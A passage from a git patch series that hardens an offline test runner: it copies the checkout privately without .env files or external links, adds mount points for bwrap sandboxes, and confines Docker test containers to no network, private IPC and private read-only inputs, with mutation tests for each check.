named('F5_HIGHER_SOCKET_CLOSED_AND_RUN_PROCEEDS' in str(error),'F5_SKIP_CLOSE_FAILS_NAMED_ASSERTION: '+str(error)) + print(json.dumps({'mutation':'F5_SKIP_UNDECLARED_CLOSE','result':'named failure','assertion':'F5_HIGHER_SOCKET_CLOSED_AND_RUN_PROCEEDS'}),flush=True) + else:raise AssertionError('F5_SKIP_CLOSE_MUTATION_MUST_FAIL') + finally:path.write_text(original);compile_entry() + descriptor_controls() + print(json.dumps({'mutation':'F5_SKIP_UNDECLARED_CLOSE','restored':'pass'}),flush=True) + + def managed_settings_controls(): # The outer control changes only its own private mount view. It never # creates /etc/claude-code in the host filesystem, even when absent. @@ -433,6 +473,8 @@ def review_mutations(): named(not environment.exists(),'BOAT_CHECKOUT_HAS_NO_CREDENTIAL_ENV_FILE') environment.write_text('ODYSSEUS_CHECKOUT_SENTINEL=checkout-owned\n') try: + if __import__('sys').argv[1:]==['--descriptors']: + descriptor_controls();descriptor_mutation();raise SystemExit(0) if __import__('sys').argv[1:]==['--unit-queue']: unit_queue_controls();raise SystemExit(0) if __import__('sys').argv[1:]==['--mutations']: From b10183ef795824a0424d7b4b8b037b8d0c5d42bb Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 23:34:00 +0000 Subject: [PATCH 165/187] test: share private checkout capture with outer container preparation --- scripts/offline-runner/inputs.py | 79 +++++++++++++++++++++++++++++++ scripts/offline-runner/prepare.sh | 2 +- scripts/offline-runner/runner.py | 64 ++----------------------- 3 files changed, 83 insertions(+), 62 deletions(-) create mode 100644 scripts/offline-runner/inputs.py diff --git a/scripts/offline-runner/inputs.py b/scripts/offline-runner/inputs.py new file mode 100644 index 0000000000..8a7e2d3c85 --- /dev/null +++ b/scripts/offline-runner/inputs.py @@ -0,0 +1,79 @@ +"""Private invoking-checkout inputs, shared by the fixed runner and outer containers.""" +import errno +import os +import pathlib +import shutil +import stat +import subprocess + + +def snapshot(source, destination, bun): + """No live caller-writable tree/socket is bind-visible to a native view.""" + git_env={'PATH':'/usr/bin:/bin','GIT_CONFIG_NOSYSTEM':'1','GIT_CONFIG_GLOBAL':'/dev/null'} + listed=subprocess.check_output(['/usr/bin/git','-c','safe.directory='+str(source),'-c','core.fsmonitor=false','-C',str(source),'ls-files','-z','--cached','--others','--exclude-standard'],env=git_env) + files={pathlib.PurePosixPath(name) for name in os.fsdecode(listed).split('\0') if name} + directories={parent for file in files for parent in file.parents} + inputs=[pathlib.PurePosixPath('node_modules')] + for package in (source/'packages').iterdir(): + if package.is_dir(): + inputs.extend(pathlib.PurePosixPath('packages',package.name,name) for name in ('node_modules','dist')) + tools={pathlib.PurePosixPath('.test-tools',name) for name in ('entry','native-stub','bun-path','bun')} + def ignore(folder,names): + denied=[] + for name in names: + relative=pathlib.PurePosixPath(pathlib.Path(folder).relative_to(source),name) + # .env.example is inert published documentation, not a Bun + # startup input. Preserve its exact template file-list proof. + if name=='.git' or name=='.env' or (name.startswith('.env.') and name!='.env.example') or relative==pathlib.PurePosixPath('tmp'): + denied.append(name);continue + dependency=any(relative==base or base in relative.parents for base in inputs) + if dependency and '.cache' not in relative.parts:continue + if relative in files or relative in directories or relative in tools or any(relative in tool.parents for tool in tools):continue + denied.append(name) + return denied + def copy_file(src, dst): + info = os.lstat(src) + if not stat.S_ISREG(info.st_mode): + raise OSError(errno.EPERM, 'nonregular source input') + shutil.copy2(src, dst, follow_symlinks=False) + shutil.copytree(source, destination, symlinks=True, dirs_exist_ok=True, copy_function=copy_file, + ignore=ignore) + # Materialize Git metadata without retaining a worktree .git indirection + # or a readable host object path in the admitted filesystem. + git_env = {'PATH':'/usr/bin:/bin','GIT_CONFIG_NOSYSTEM':'1','GIT_CONFIG_GLOBAL':'/dev/null'} + def git(*args): + return subprocess.check_output(['/usr/bin/git','-c','safe.directory='+str(source),'-c','core.fsmonitor=false','-c','core.hooksPath=/dev/null',*args], env=git_env, stderr=subprocess.DEVNULL).decode().strip() + head = git('-C', str(source), 'rev-parse', '--verify', 'HEAD') + common = pathlib.Path(git('-C', str(source), 'rev-parse', '--git-common-dir')) + if not common.is_absolute(): common = source / common + git('init', '--quiet', str(destination)) + for name in ('objects','refs'): + shutil.copytree(common / name,destination / '.git' / name,dirs_exist_ok=True,symlinks=False) + if (common / 'packed-refs').exists():shutil.copyfile(common / 'packed-refs',destination / '.git/packed-refs') + alternates = destination / '.git/objects/info/alternates' + if alternates.exists():raise OSError(errno.EPERM,'external Git object storage') + (destination / '.git/HEAD').write_text(head+'\n') + git('-C', str(destination), 'reset', '--quiet', '--mixed', head) + # A socket/symlink traversal cannot silently enter through an alternate + # checkout input. Preserve relative in-tree package links only. + for folder, dirs, files in os.walk(destination, followlinks=False): + for name in dirs + files: + path = pathlib.Path(folder) / name + info = path.lstat() + if stat.S_ISSOCK(info.st_mode) or stat.S_ISFIFO(info.st_mode): + raise OSError(errno.EPERM, 'IPC in source input') + if path.is_symlink(): + target = pathlib.Path(os.readlink(path)) + if target.is_absolute() and target.is_relative_to(source): + projected = destination / target.relative_to(source) + path.unlink();path.symlink_to(os.path.relpath(projected,path.parent)) + if not path.resolve().is_relative_to(destination.resolve()) and target != bun: + raise OSError(errno.EPERM, 'external source link') + + +if __name__ == '__main__': + import sys + if len(sys.argv)!=5 or sys.argv[1]!='--checkout': + raise SystemExit('Expected fixed private checkout capture') + source,destination=map(pathlib.Path,sys.argv[2:4]) + snapshot(source,destination,pathlib.Path(sys.argv[4])) diff --git a/scripts/offline-runner/prepare.sh b/scripts/offline-runner/prepare.sh index 98afcadc39..3f36db87e0 100755 --- a/scripts/offline-runner/prepare.sh +++ b/scripts/offline-runner/prepare.sh @@ -18,7 +18,7 @@ printf 'Prepared static test entry. Add %s/.test-tools to PATH before invoking p if [[ "${1:-}" = --install-system ]]; then [[ $(id -u) = 0 ]] || { echo 'Install the fixed setup entry explicitly as root.' >&2; exit 1; } install -d -m 0755 /usr/local/libexec/brain-test - for runner_part in runner.py view_client.py view_service.py; do + for runner_part in runner.py inputs.py view_client.py view_service.py; do install -m 0644 "$runner_root/scripts/offline-runner/$runner_part" "/usr/local/libexec/brain-test/$runner_part" done "$runner_cc" -static -O2 -Wall -Wextra -Werror \ diff --git a/scripts/offline-runner/runner.py b/scripts/offline-runner/runner.py index 59a171e098..816dbead8f 100644 --- a/scripts/offline-runner/runner.py +++ b/scripts/offline-runner/runner.py @@ -164,67 +164,9 @@ class Data(ctypes.Structure): def snapshot(source, destination): - """No live caller-writable tree/socket is bind-visible to a native view.""" - git_env={'PATH':'/usr/bin:/bin','GIT_CONFIG_NOSYSTEM':'1','GIT_CONFIG_GLOBAL':'/dev/null'} - listed=subprocess.check_output(['/usr/bin/git','-c','safe.directory='+str(source),'-c','core.fsmonitor=false','-C',str(source),'ls-files','-z','--cached','--others','--exclude-standard'],env=git_env) - files={pathlib.PurePosixPath(name) for name in os.fsdecode(listed).split('\0') if name} - directories={parent for file in files for parent in file.parents} - inputs=[pathlib.PurePosixPath('node_modules')] - for package in (source/'packages').iterdir(): - if package.is_dir(): - inputs.extend(pathlib.PurePosixPath('packages',package.name,name) for name in ('node_modules','dist')) - tools={pathlib.PurePosixPath('.test-tools',name) for name in ('entry','native-stub','bun-path','bun')} - def ignore(folder,names): - denied=[] - for name in names: - relative=pathlib.PurePosixPath(pathlib.Path(folder).relative_to(source),name) - # .env.example is inert published documentation, not a Bun - # startup input. Preserve its exact template file-list proof. - if name=='.git' or name=='.env' or (name.startswith('.env.') and name!='.env.example') or relative==pathlib.PurePosixPath('tmp'): - denied.append(name);continue - dependency=any(relative==base or base in relative.parents for base in inputs) - if dependency and '.cache' not in relative.parts:continue - if relative in files or relative in directories or relative in tools or any(relative in tool.parents for tool in tools):continue - denied.append(name) - return denied - def copy_file(src, dst): - info = os.lstat(src) - if not stat.S_ISREG(info.st_mode): - raise OSError(errno.EPERM, 'nonregular source input') - shutil.copy2(src, dst, follow_symlinks=False) - shutil.copytree(source, destination, symlinks=True, dirs_exist_ok=True, copy_function=copy_file, - ignore=ignore) - # Materialize Git metadata without retaining a worktree .git indirection - # or a readable host object path in the admitted filesystem. - git_env = {'PATH':'/usr/bin:/bin','GIT_CONFIG_NOSYSTEM':'1','GIT_CONFIG_GLOBAL':'/dev/null'} - def git(*args): - return subprocess.check_output(['/usr/bin/git','-c','safe.directory='+str(source),'-c','core.fsmonitor=false','-c','core.hooksPath=/dev/null',*args], env=git_env, stderr=subprocess.DEVNULL).decode().strip() - head = git('-C', str(source), 'rev-parse', '--verify', 'HEAD') - common = pathlib.Path(git('-C', str(source), 'rev-parse', '--git-common-dir')) - if not common.is_absolute(): common = source / common - git('init', '--quiet', str(destination)) - for name in ('objects','refs'): - shutil.copytree(common / name,destination / '.git' / name,dirs_exist_ok=True,symlinks=False) - if (common / 'packed-refs').exists():shutil.copyfile(common / 'packed-refs',destination / '.git/packed-refs') - alternates = destination / '.git/objects/info/alternates' - if alternates.exists():raise OSError(errno.EPERM,'external Git object storage') - (destination / '.git/HEAD').write_text(head+'\n') - git('-C', str(destination), 'reset', '--quiet', '--mixed', head) - # A socket/symlink traversal cannot silently enter through an alternate - # checkout input. Preserve relative in-tree package links only. - for folder, dirs, files in os.walk(destination, followlinks=False): - for name in dirs + files: - path = pathlib.Path(folder) / name - info = path.lstat() - if stat.S_ISSOCK(info.st_mode) or stat.S_ISFIFO(info.st_mode): - raise OSError(errno.EPERM, 'IPC in source input') - if path.is_symlink(): - target = pathlib.Path(os.readlink(path)) - if target.is_absolute() and target.is_relative_to(source): - projected = destination / target.relative_to(source) - path.unlink();path.symlink_to(os.path.relpath(projected,path.parent)) - if not path.resolve().is_relative_to(destination.resolve()) and target != BUN: - raise OSError(errno.EPERM, 'external source link') + spec=importlib.util.spec_from_file_location('offline_inputs',pathlib.Path(__file__).with_name('inputs.py')) + inputs=importlib.util.module_from_spec(spec);spec.loader.exec_module(inputs) + inputs.snapshot(source,destination,BUN) def network_state(): From 1b556e5b954c354eca21e74883c6a867713a0129 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 23:34:00 +0000 Subject: [PATCH 166/187] test: provide private mount points for child bwrap overlays --- scripts/offline-runner/rootless-files.json | 2 +- scripts/offline-runner/runner.py | 5 ++++- tests/offline-runner.test.ts | 14 ++++++++++++++ 3 files changed, 19 insertions(+), 2 deletions(-) diff --git a/scripts/offline-runner/rootless-files.json b/scripts/offline-runner/rootless-files.json index dc0af43dcb..3453cdc0c7 100644 --- a/scripts/offline-runner/rootless-files.json +++ b/scripts/offline-runner/rootless-files.json @@ -1649,7 +1649,7 @@ "tests/native-pool-io.test.ts":{"sha256":"f928a2835f8fc954019e57ff21a2959c6609a4c2f72cc48c1297632757f14762","compatible":true}, "tests/native-prerequisites.test.ts":{"sha256":"5f808ad7a04c19bf97ad3f1cf2c58b476a07e8a95b6ba5431c1c3b098fc173a3","compatible":true}, "tests/native-timeout-inventory.test.ts":{"sha256":"aa5241f973ee04d7992b4dcb0708ac5c08ca796fdac378ba91df782df0387f08","compatible":true}, - "tests/offline-runner.test.ts":{"sha256":"851c67d5a62f0a8f7743aa519cdc1aae56c7432fae60e8ce09fb9ac2b15de06b","compatible":true}, + "tests/offline-runner.test.ts":{"sha256":"7292b90a4b316bf7c7dc32c7f5278a50a266280aa09692a826e0fe21b9cec8e6","compatible":true}, "tests/offline-test-launcher.test.ts":{"sha256":"7f13338c0262b059e08352a5a27f3e61db77c2ed31da8ada5ba443fa244d1884","compatible":false}, "tests/offline-unit-identity.test.ts":{"sha256":"e4673d8218b9c0fda0da1027b0a1f8af2a873e260e94333b4f03f82261dc549c","compatible":true}, "tests/opportunity-cli-agreement.test.ts":{"sha256":"5c0de349cc0186276e4890c57ead597a4bef4dfb151f549dc36229b01a444794","compatible":true}, diff --git a/scripts/offline-runner/runner.py b/scripts/offline-runner/runner.py index 816dbead8f..3ed9de554e 100644 --- a/scripts/offline-runner/runner.py +++ b/scripts/offline-runner/runner.py @@ -197,7 +197,10 @@ def finish_view(backing, prepared, caller, profile, before): for name, target in [('bin', 'usr/bin'), ('sbin', 'usr/sbin'), ('lib', 'usr/lib'), ('lib64', 'usr/lib64')]: if pathlib.Path('/' + name).exists(): (view / name).symlink_to(target) - for directory in ('etc/claude-code', 'tmp', 'run/brain-test', 'proc', 'dev', 'home/odysseus', 'sys'): + # Match ordinary empty host mount points. A child that first ro-binds / + # cannot create a missing parent before overlaying it with its own tmpfs. + # These are private directories, never mounts of host contents. + for directory in ('etc/claude-code', 'tmp', 'run/brain-test', 'proc', 'dev', 'home/odysseus', 'sys', 'opt', 'srv', 'mnt', 'media'): (view / directory).mkdir(parents=True, exist_ok=True) for name in ('passwd', 'group', 'nsswitch.conf', 'hosts', 'localtime', 'ld.so.cache', 'resolv.conf'): source = pathlib.Path('/etc') / name diff --git a/tests/offline-runner.test.ts b/tests/offline-runner.test.ts index 802409840e..b41febe161 100644 --- a/tests/offline-runner.test.ts +++ b/tests/offline-runner.test.ts @@ -73,3 +73,17 @@ test("one signal reaches an inherited-boundary interpreter exactly once",async() expect(out,"ONE_CALLER_SIGNAL_RUNS_ONE_TRAP").toBe("ready\ntrapped\n"); } },watchdogMs(30000)); + +for(const parent of ["/opt","/srv","/mnt","/media"])test(`a child sandbox can overlay the private ${parent} mount point after making root read-only`,async()=>{ + const scratch=mkdtempSync("/tmp/odysseus-mount-parent-"); + const before=readFileSync("/proc/self/mountinfo","utf8"); + try{ + const child=Bun.spawn(["bwrap","--unshare-net","--unshare-pid","--die-with-parent","--ro-bind","/","/","--tmpfs",parent, + "--bind",scratch,`${parent}/odysseus-fixture`,"--tmpfs","/etc","--proc","/proc","--dev","/dev", + "/usr/bin/python3","-I","-S","-c",`import pathlib;pathlib.Path(${JSON.stringify(parent+"/odysseus-fixture/proof")}).write_text("Odysseus private overlay")`],{stdin:"ignore",stdout:"pipe",stderr:"pipe"}); + const [code,err]=await Promise.all([child.exited,new Response(child.stderr).text()]); + expect(code,"PRIVATE_MOUNT_PARENT_AVAILABLE: "+err).toBe(0); + expect(readFileSync(join(scratch,"proof"),"utf8")).toBe("Odysseus private overlay"); + expect(readFileSync("/proc/self/mountinfo","utf8"),"PARENT_ADMITTED_MOUNTS_UNCHANGED").toBe(before); + }finally{rmSync(scratch,{recursive:true,force:true});} +},watchdogMs(15000)); From c566fc736bbabb44db7e96db30b8fc1afa90ecfd Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 23:34:00 +0000 Subject: [PATCH 167/187] test: capture read-only container inputs before startup --- .../offline-runner/container-inputs-proof.mjs | 47 +++++++++++++++++++ scripts/offline-runner/container-inputs.mjs | 47 +++++++++++++++++++ scripts/offline-runner/container-proof.mjs | 8 +++- scripts/offline-runner/container.mjs | 20 ++++++-- 4 files changed, 116 insertions(+), 6 deletions(-) create mode 100644 scripts/offline-runner/container-inputs-proof.mjs create mode 100644 scripts/offline-runner/container-inputs.mjs diff --git a/scripts/offline-runner/container-inputs-proof.mjs b/scripts/offline-runner/container-inputs-proof.mjs new file mode 100644 index 0000000000..818dad91a5 --- /dev/null +++ b/scripts/offline-runner/container-inputs-proof.mjs @@ -0,0 +1,47 @@ +/** Outer file controls only; no native runtime or provider transport. */ +import {mkdtempSync,mkdirSync,readFileSync,writeFileSync,existsSync,rmSync,symlinkSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {join} from 'node:path'; +import {spawnSync} from 'node:child_process'; +import {captureContainerReadonlyInputs} from './container-inputs.mjs'; +const assert=(value,name)=>{if(!value)throw Error(name);}; +if(process.argv.includes('--mutations')){ + const module=new URL('./container-inputs.mjs',import.meta.url),original=readFileSync(module,'utf8'); + const before="if(word.includes('source='+source+','))return word.replace('source='+source+',','source='+target+',');"; + assert(original.includes(before),'PRIVATE_INPUT_MUTATION_SOURCE'); + try{ + writeFileSync(module,original.replace(before,'if(false)return word;')); + const broken=spawnSync(process.execPath,[new URL(import.meta.url).pathname],{encoding:'utf8'}); + assert(broken.status!==0&&(broken.stdout+broken.stderr).includes('CONTAINER_INPUT_IS_PRIVATE_COPY'),'PRIVATE_INPUT_MUTATION_FAILS_NAMED_ASSERTION'); + }finally{writeFileSync(module,original);} + const restored=spawnSync(process.execPath,[new URL(import.meta.url).pathname],{encoding:'utf8'}); + assert(restored.status===0,'PRIVATE_INPUT_RESTORED_POSITIVE: '+restored.stderr); + console.log(JSON.stringify({mutation:'CONTAINER_USE_LIVE_READONLY_SOURCE',assertion:'CONTAINER_INPUT_IS_PRIVATE_COPY',result:'named failure',restored:'pass'})); + process.exit(0); +} +const directory=mkdtempSync(join(tmpdir(),'odysseus-private-container-proof-')); +let captured; +try{ + const source=join(directory,'checkout');mkdirSync(source);mkdirSync(join(source,'packages')); + writeFileSync(join(source,'value.txt'),'Odysseus original\n'); + writeFileSync(join(source,'.env'),'ODYSSEUS_CHECKOUT_SENTINEL=not-admitted\n'); + writeFileSync(join(source,'.env.example'),'ODYSSEUS_DOCUMENTED_SETTING=\n'); + const git=(...args)=>{const result=spawnSync('/usr/bin/git',['-C',source,...args],{encoding:'utf8'});assert(result.status===0,'INPUT_FIXTURE_GIT: '+result.stderr);}; + git('init','--quiet');git('add','.');git('-c','user.name=Odysseus','-c','user.email=odysseus@example.invalid','commit','--quiet','-m','fixture'); + const readonly=`type=bind,source=${source},target=/repo,readonly`,writable=`type=bind,source=${source},target=/output`; + captured=captureContainerReadonlyInputs(['--mount',readonly,'--mount',writable],[{Type:'bind',RW:false,Source:source,Destination:'/repo'},{Type:'bind',RW:true,Source:source,Destination:'/output'}]); + const copy=captured.options[1].match(/source=([^,]+)/)[1]; + assert(copy!==source,'CONTAINER_INPUT_IS_PRIVATE_COPY'); + writeFileSync(join(source,'value.txt'),'Odysseus changed\n'); + assert(readFileSync(join(copy,'value.txt'),'utf8')==='Odysseus original\n','CONTAINER_INPUT_CANNOT_CHANGE_THROUGH_SOURCE'); + assert(!existsSync(join(copy,'.env')),'CONTAINER_CHECKOUT_ENV_IS_ABSENT'); + assert(existsSync(join(copy,'.env.example')),'CONTAINER_TEMPLATE_ENV_EXAMPLE_REMAINS'); + assert(captured.options[3]===writable,'CONTAINER_OUTPUT_IS_NOT_ACCIDENTALLY_REWRITTEN'); + captured.dispose();captured=undefined;assert(!existsSync(copy),'CONTAINER_PRIVATE_INPUT_CLEANUP'); + const external=join(directory,'external');writeFileSync(external,'Odysseus external'); + const tree=join(directory,'tree');mkdirSync(tree);symlinkSync(external,join(tree,'link')); + let refused=false; + try{const unexpected=captureContainerReadonlyInputs(['-v',`${tree}:/input:ro`],[{Type:'bind',RW:false,Source:tree,Destination:'/input'}]);unexpected.dispose();}catch(error){refused=error.message==='OFFLINE_CONTAINER_EXTERNAL_INPUT_LINK';} + assert(refused,'CONTAINER_EXTERNAL_INPUT_LINK_REFUSES'); + console.log(JSON.stringify({proof:'CONTAINER_PRIVATE_READONLY_INPUTS',result:'pass'})); +}finally{captured?.dispose();rmSync(directory,{recursive:true,force:true});} diff --git a/scripts/offline-runner/container-inputs.mjs b/scripts/offline-runner/container-inputs.mjs new file mode 100644 index 0000000000..6f34a0e495 --- /dev/null +++ b/scripts/offline-runner/container-inputs.mjs @@ -0,0 +1,47 @@ +/** Outer preparation only. No caller-writable input tree enters a container. */ +import {chmodSync,cpSync,lstatSync,mkdirSync,mkdtempSync,readdirSync,realpathSync,rmSync,symlinkSync} from 'node:fs'; +import {tmpdir} from 'node:os'; +import {dirname,join,relative,sep} from 'node:path'; +import {spawnSync} from 'node:child_process'; + +function copyRegularTree(source,target,root=source,privateRoot=target){ + const info=lstatSync(source); + if(info.isSymbolicLink()){ + const actual=realpathSync(source); + if(actual!==root&&!actual.startsWith(root+sep))throw Error('OFFLINE_CONTAINER_EXTERNAL_INPUT_LINK'); + symlinkSync(relative(dirname(target),join(privateRoot,relative(root,actual))),target); + }else if(info.isDirectory()){ + mkdirSync(target,{mode:0o700}); + for(const name of readdirSync(source))copyRegularTree(join(source,name),join(target,name),root,privateRoot); + chmodSync(target,info.mode&0o777); + }else if(info.isFile())cpSync(source,target); + else throw Error('OFFLINE_CONTAINER_IPC_INPUT_REFUSED'); +} + +export function captureContainerReadonlyInputs(options,mounts){ + const backing=mkdtempSync(join(tmpdir(),'odysseus-container-inputs-')); + const replacements=new Map(),bindings=[]; + try{ + for(const mount of mounts){ + if(mount.Type!=='bind'||mount.RW)continue; + const source=realpathSync(mount.Source),target=join(backing,String(replacements.size)); + if(replacements.has(source)){bindings.push({destination:mount.Destination,source:replacements.get(source)});continue;} + if(mount.Destination==='/repo'){ + mkdirSync(target); + const captured=spawnSync('/usr/bin/python3',['-I','-S',new URL('./inputs.py',import.meta.url).pathname,'--checkout',source,target,'/usr/local/bin/bun'],{encoding:'utf8',maxBuffer:1024*1024}); + if(captured.error||captured.status!==0)throw Error('OFFLINE_CONTAINER_CHECKOUT_CAPTURE_REFUSED',{cause:captured.error??captured.stderr}); + }else copyRegularTree(source,target,source); + replacements.set(source,target); + bindings.push({destination:mount.Destination,source:target}); + } + const rewritten=options.map(word=>{ + if(!/(?:^|,)(?:readonly|ro)(?:=true)?(?:,|$)/.test(word)&&!/:ro(?:,|$)/.test(word))return word; + for(const [source,target] of replacements){ + if(word.startsWith(source+':'))return target+word.slice(source.length); + if(word.includes('source='+source+','))return word.replace('source='+source+',','source='+target+','); + } + return word; + }); + return {options:rewritten,bindings,dispose(){rmSync(backing,{recursive:true,force:true});}}; + }catch(error){rmSync(backing,{recursive:true,force:true});throw error;} +} diff --git a/scripts/offline-runner/container-proof.mjs b/scripts/offline-runner/container-proof.mjs index 491f984670..61ec14ae1a 100644 --- a/scripts/offline-runner/container-proof.mjs +++ b/scripts/offline-runner/container-proof.mjs @@ -7,13 +7,16 @@ if(process.argv.includes('--mutations')){ const mutations=[ ['F7_SKIP_PULL_CHECK',"if(!argv.includes('--pull=never'))",'if(false)','F7_PULL_POLICY_IS_INDEPENDENT'], ['F7_SKIP_NETWORK_CHECK',"network?.NetworkMode!=='none'",'false','F7_ACTUAL_NETWORK_IS_INDEPENDENT'], - ['R6_SKIP_IPC_CHECK',"network.IpcMode==='host'",'false','R6_ACTUAL_PRIVATE_IPC_REQUIRED'], + ['R6_SKIP_IPC_CHECK',"network.IpcMode!=='private'",'false','R6_ACTUAL_PRIVATE_IPC_REQUIRED'], ]; try{ for(const [name,before,after,assertion] of mutations){ if(!original.includes(before))throw Error('MUTATION_SOURCE_MISSING_'+name); let changed=original.replace(before,after); - if(name==='F7_SKIP_NETWORK_CHECK')changed=changed.replace("Object.keys(record.NetworkSettings?.Networks??{}).some(name=>name!=='none')",'false'); + if(name==='F7_SKIP_NETWORK_CHECK')changed=changed.replace("Object.keys(record.NetworkSettings?.Networks??{}).some(name=>name!=='none')",'false') + .replace("prepared.HostConfig?.NetworkMode!=='none'",'false') + .replace("Object.keys(prepared.NetworkSettings?.Networks??{}).some(name=>name!=='none')",'false'); + if(name==='R6_SKIP_IPC_CHECK')changed=changed.replace("prepared.HostConfig?.IpcMode!=='private'",'false'); writeFileSync(path,changed); const broken=spawnSync(process.execPath,['--no-env-file',new URL(import.meta.url).pathname],{encoding:'utf8'}); if(broken.status===0||!(broken.stdout+broken.stderr).includes(assertion))throw Error('MUTATION_NAMED_FAILURE_REQUIRED_'+name+': '+broken.stderr); @@ -37,6 +40,7 @@ for(const [name,argv,reason] of [ ['F7_PULL_POLICY_IS_INDEPENDENT',base.filter(word=>word!=='--pull=never'),'OFFLINE_CONTAINER_PULL_NEVER_REQUIRED'], ['F7_ACTUAL_NETWORK_IS_INDEPENDENT',base.map(word=>word==='--network=none'?'--network=bridge':word),'OFFLINE_CONTAINER_ACTUAL_NETWORK_AND_IPC_REQUIRED'], ['R6_ACTUAL_PRIVATE_IPC_REQUIRED',base.map(word=>word==='--ipc=private'?'--ipc=host':word),'OFFLINE_CONTAINER_ACTUAL_NETWORK_AND_IPC_REQUIRED'], + ['R6_SHAREABLE_IPC_REFUSES',base.map(word=>word==='--ipc=private'?'--ipc=shareable':word),'OFFLINE_CONTAINER_ACTUAL_NETWORK_AND_IPC_REQUIRED'], ]){ let refusal;let accidental; try{accidental=prepareOfflineContainer(argv);}catch(error){refusal=error;} diff --git a/scripts/offline-runner/container.mjs b/scripts/offline-runner/container.mjs index 8d079a90e7..4b62a9d228 100644 --- a/scripts/offline-runner/container.mjs +++ b/scripts/offline-runner/container.mjs @@ -1,6 +1,7 @@ /** Trusted outer launcher only. A test runner never receives daemon control. */ import {randomUUID} from 'node:crypto'; import {spawnSync} from 'node:child_process'; +import {captureContainerReadonlyInputs} from './container-inputs.mjs'; const checked=(args)=>{ const result=spawnSync('docker',args,{encoding:'utf8',maxBuffer:4*1024*1024}); if(result.error||result.status!==0)throw Error('Offline test container operation failed',{cause:result.error??result.stderr}); @@ -11,21 +12,32 @@ export function prepareOfflineContainer(argv){ if(!argv.includes('--pull=never'))throw Error('OFFLINE_CONTAINER_PULL_NEVER_REQUIRED'); const nonce=randomUUID(),label=`brain-test-offline=${nonce}`; const options=argv.slice(2).filter(word=>word!=='--rm'); - let id; + let id,inputs; try{ id=checked(['create','--label',label,...options]); if(!/^[a-f0-9]{64}$/.test(id))throw Error('Offline container identity unavailable'); const [record]=JSON.parse(checked(['inspect',id])); const network=record?.HostConfig; - if(record?.Id!==id||record.Config?.Labels?.['brain-test-offline']!==nonce||network?.NetworkMode!=='none'||network.IpcMode==='host'||Object.keys(network.PortBindings??{}).length||Object.keys(record.NetworkSettings?.Networks??{}).some(name=>name!=='none'))throw Error('OFFLINE_CONTAINER_ACTUAL_NETWORK_AND_IPC_REQUIRED'); + if(record?.Id!==id||record.Config?.Labels?.['brain-test-offline']!==nonce||network?.NetworkMode!=='none'||network.IpcMode!=='private'||Object.keys(network.PortBindings??{}).length||Object.keys(record.NetworkSettings?.Networks??{}).some(name=>name!=='none'))throw Error('OFFLINE_CONTAINER_ACTUAL_NETWORK_AND_IPC_REQUIRED'); if(record.Mounts?.some(mount=>['/var/run/docker.sock','/run/docker.sock'].includes(mount.Source)||['/tmp','/run','/var/run'].includes(mount.Source)))throw Error('OFFLINE_CONTAINER_HOST_IPC_MOUNT_REFUSED'); + inputs=captureContainerReadonlyInputs(options,record.Mounts??[]); + checked(['rm',id]);id=undefined; + id=checked(['create','--label',label,...inputs.options]); + if(!/^[a-f0-9]{64}$/.test(id))throw Error('Offline container identity unavailable'); + const [prepared]=JSON.parse(checked(['inspect',id])); + for(const expected of inputs.bindings){ + const actual=prepared.Mounts?.find(mount=>mount.Destination===expected.destination); + if(actual?.Type!=='bind'||actual.Source!==expected.source||actual.RW!==false)throw Error('OFFLINE_CONTAINER_PRIVATE_INPUT_MOUNT_REQUIRED'); + } + if(prepared?.Id!==id||prepared.Config?.Labels?.['brain-test-offline']!==nonce||prepared.HostConfig?.NetworkMode!=='none'||prepared.HostConfig?.IpcMode!=='private'||Object.keys(prepared.HostConfig?.PortBindings??{}).length||Object.keys(prepared.NetworkSettings?.Networks??{}).some(name=>name!=='none'))throw Error('OFFLINE_CONTAINER_ACTUAL_NETWORK_AND_IPC_REQUIRED'); return {argv:['docker','start','--attach',...(options.includes('--interactive')?['--interactive']:[]),id],id, dispose(){ const inspected=spawnSync('docker',['inspect',id],{encoding:'utf8'}); - if(inspected.status!==0&&/No such (?:object|container)/.test(inspected.stderr??''))return; + if(inspected.status!==0&&/No such (?:object|container)/.test(inspected.stderr??'')){inputs.dispose();return;} if(inspected.error||inspected.status!==0)throw Error('Offline container cleanup unconfirmed'); const [live]=JSON.parse(inspected.stdout);if(live.Id!==id||live.Config?.Labels?.['brain-test-offline']!==nonce)throw Error('Offline container cleanup identity changed'); checked(['rm','--force',id]); + inputs.dispose(); }}; - }catch(error){if(id&&/^[a-f0-9]{64}$/.test(id))checked(['rm','--force',id]);throw error;} + }catch(error){try{if(id&&/^[a-f0-9]{64}$/.test(id))checked(['rm','--force',id]);}finally{inputs?.dispose();}throw error;} } From b17313ea6a41aadd28f8dc358d7ae1f440ad7807 Mon Sep 17 00:00:00 2001 From: Alain Schlesser Date: Mon, 23 Nov 2026 23:59:05 +0000 Subject: [PATCH 168/187] test: cover remaining mount parents and expose mask signal parity --- scripts/offline-runner/container-inputs-proof.mjs | 12 ++++++++++++ scripts/offline-runner/mask-signal-proof.ts | 15 +++++++++++++++ scripts/offline-runner/rootless-files.json | 2 +- scripts/offline-runner/runner.py | 3 ++- tests/offline-runner.test.ts | 2 +- 5 files changed, 31 insertions(+), 3 deletions(-) create mode 100644 scripts/offline-runner/mask-signal-proof.ts diff --git a/scripts/offline-runner/container-inputs-proof.mjs b/scripts/offline-runner/container-inputs-proof.mjs index 818dad91a5..9fe9e32653 100644 --- a/scripts/offline-runner/container-inputs-proof.mjs +++ b/scripts/offline-runner/container-inputs-proof.mjs @@ -43,5 +43,17 @@ try{ let refused=false; try{const unexpected=captureContainerReadonlyInputs(['-v',`${tree}:/input:ro`],[{Type:'bind',RW:false,Source:tree,Destination:'/input'}]);unexpected.dispose();}catch(error){refused=error.message==='OFFLINE_CONTAINER_EXTERNAL_INPUT_LINK';} assert(refused,'CONTAINER_EXTERNAL_INPUT_LINK_REFUSES'); + if(process.argv.includes('--docker')){ + const {prepareOfflineContainer}=await import('./container.mjs'); + writeFileSync(join(source,'value.txt'),'Odysseus prepared input\n'); + const boundary=prepareOfflineContainer(['docker','run','--rm','--pull=never','--network=none','--ipc=private', + '--mount',`type=bind,source=${source},target=/repo,readonly`,'--entrypoint=/usr/bin/python3','brain-kit-native-runtime:1','-I','-S','-c', + 'import pathlib;assert 